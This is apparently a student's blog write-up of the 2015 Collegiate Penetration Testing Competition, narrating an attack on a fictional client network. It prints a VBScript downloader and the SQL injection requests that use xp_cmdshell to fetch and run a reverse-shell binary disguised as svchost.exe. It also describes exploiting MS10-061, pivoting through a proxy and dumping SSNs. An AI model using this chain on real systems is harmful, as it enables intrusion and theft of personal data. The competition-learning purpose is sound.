Dave Kukfa Security bub

Revisiting CPTC 2015

Back in November, I was a member of the RIT team in the first ever Collegiate Penetration Testing Competition (CPTC). To read more about the event, check out this post. Given that this was the first year of the competition, there were a few compounding technical difficulties that led to a change of plans. Specifically, the infrastructure the competition was hosted on experienced some unpatched bugs that led to nonstop kernel panics, resulting in a backup infrastructure being deployed and used for the remainder of the competition. Due to the quick change of plans, the original intricately-designed infrastructure only saw the light of day for a few hours. The competition directors decided to re-open the infrastructure at a later date for teams to get the full intended experience of the competition.

This write-up details the path I took to breaching a data store in the competition network. Due to time constraints, I wasn’t able to discover all of the vulnerabilities available, so this write-up covers the progress I was able to make.

As part of our contract with the client, FinAck Government Industries, we were provided with a list of IP ranges and domains that would be in-scope for the test. Included in those ranges were the and networks and the fing.ov and ack.corp domains. The competition network was divided into the FinGov and AckCorp networks, with a few connections between them.

After running a port scan on the in-scope IPs, I discovered a web server on (www.fing.ov) and the domain controller at (ad-dc-01.fing.ov). The network was inaccessible from my Kali box’s network position. Browsing to www.fing.ov revealed the company’s website.

FinGov website

The search function seemed like a promising target for SQL injection, but ended up not being functional. Continuing through the site, I found a careers page that uses an ‘id’ parameter to retrieve jobs.

FinGov careers page

The id parameter was SQL injectable:

FinGov SQL injection proof

After some prodding, I discovered the backend database was running MSSQL, and I could use xp_cmdshell to execute commands. To achieve a reverse shell on the database server, I created a binary payload using msfvenom.

msfvenom payload creation

Now I needed to get the binary on to the database server and run it. I spun up Apache on my Kali box to host the binary, and after some trial and error, used the following VBScript to download the file:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "", False : xHttp.Send
with bStrm : .type = 1 : .open : .write xHttp.responseBody : .savetofile "C:\WINDOWS\Temp\svchost.exe", 2 : end with

The script needed to be sent to the database server by exploiting the SQL injection. I used xp_cmdshell to create the script, run it, and then run the downloaded binary. I sent the following requests to accomplish this:; exec xp_cmdshell 'echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") : dim bStrm: Set bStrm = createobject("Adodb.Stream") : xHttp.Open "GET", "", False : xHttp.Send : with bStrm : .type = 1 : .open : .write xHttp.responseBody : .savetofile "C:\WINDOWS\Temp\svchost.exe", 2 : end with > C:\WINDOWS\Temp\script.vbs' --; exec xp_cmdshell 'cscript C:\WINDOWS\Temp\script.vbs' --; exec xp_cmdshell 'C:\WINDOWS\Temp\svchost.exe' --

Soon enough, I had a reverse shell on the MSSQL server (webdb2.fing.ov)!

Meterpreter session on webdb2

Going back to www.fing.ov, I decided to take another look at the exposed ports, and tested its Windows 2003 OS with MS08-067 and MS10-061 exploits. MS10-061 did the trick, and I was in to www.fing.ov with SYSTEM privileges. From www.fing.ov I was able to access the rest of the network, and created a SOCKS proxy to tunnel traffic through the exploited web server. Using proxychains, I scanned the network but didn’t find any further exploits. I went back to the web server and started picking through the web root until I found the database username and password in the source code of the careers page.

SQL credentials in source code

From there, I installed sql-cli on Kali and tunneled it through proxychains to log in to MSSQL. Poking through the database led me to the client_data table, where the SSNs, company names, phone numbers, and addresses of FinGov’s clients were stored.

PII dump

This was as far as I was able to get on the infrastructure. If I had more time, I would have continued poking at the other machines on the network and tried to escalate privileges on webdb2.fing.ov.

Participating in the CPTC was an awesome learning experience. Re-opening the infrastructure for a longer period of time allowed myself and my teammates to focus on the systems and learn on the fly without the pressure of the competition. Every time I sat down to pick up where I left off, I got a little bit further and walked away having learned something new. Looking forward to next year’s competition!